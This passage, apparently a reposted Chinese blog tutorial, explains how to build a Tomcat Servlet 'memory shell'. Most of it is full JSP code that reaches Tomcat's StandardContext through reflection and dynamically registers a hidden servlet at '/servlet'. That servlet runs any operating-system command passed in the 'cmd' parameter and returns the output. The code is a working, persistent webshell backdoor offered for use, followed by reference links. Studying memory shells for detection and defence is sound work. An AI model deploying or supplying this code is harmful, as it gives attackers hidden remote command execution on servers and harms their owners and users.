    Servlet_memshell servlet_memshell = new Servlet_memshell();
    Wrapper wrapper = standardCcontext.createWrapper();
设置Servlet属性

设置loadOnStartup属性

wrapper.setLoadOnStartup(1);

设置ServletName属性

wrapper.setName(name);

设置ServletClass属性

wrapper.setServlet(servlet_memshell);
动态注册Servlet
    // 将Wrapper添加到StandardContext
    standardCcontext.addChild(wrapper);
    standardCcontext.addServletMappingDecoded("/servlet",name);

Servlet内存马完整代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<%!
    public class Servlet_memshell extends HttpServlet {
        private String message;

        public void init() {
            message = "Servlet 命令执行输出:\n";
        }

        public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if(cmd != null) {
                try {
                    InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream();
                    BufferedInputStream bins = new BufferedInputStream(ins);
                    resp.setContentType("text/html;charset=UTF-8");
                    resp.getWriter().write(message);
                    int len;
                    while ((len = bins.read()) != -1) {
                        resp.getWriter().write(len);
                    }
                }catch (Exception e){
                    resp.getWriter().println(e.getMessage());
                }
            }
        }

        public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            super.doPost(req, resp);
        }
    }

%>
<%
    // 获得StandardContext
    Field reqF=request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardCcontext = (StandardContext) req.getContext();

    // 创建Wrapper
    Servlet_memshell servlet_memshell = new Servlet_memshell();
    Wrapper wrapper = standardCcontext.createWrapper();
    String name = servlet_memshell.getClass().getSimpleName();
    wrapper.setName(name);
    wrapper.setLoadOnStartup(1);
    wrapper.setServlet(servlet_memshell);
    wrapper.setServletClass(servlet_memshell.getClass().getName());

    // 将Wrapper添加到StandardContext
    standardCcontext.addChild(wrapper);
    standardCcontext.addServletMappingDecoded("/servlet",name);
%>

参考链接

Request和Response的概述及其方法_pan-jin的博客-CSDN博客_response实现了什么接口

servlet内存马

Java安全学习——内存马

Tomcat 内存马(一)Listener型

猜你喜欢

转载自blog.csdn.net/weixin_44411509/article/details/128177362
今日推荐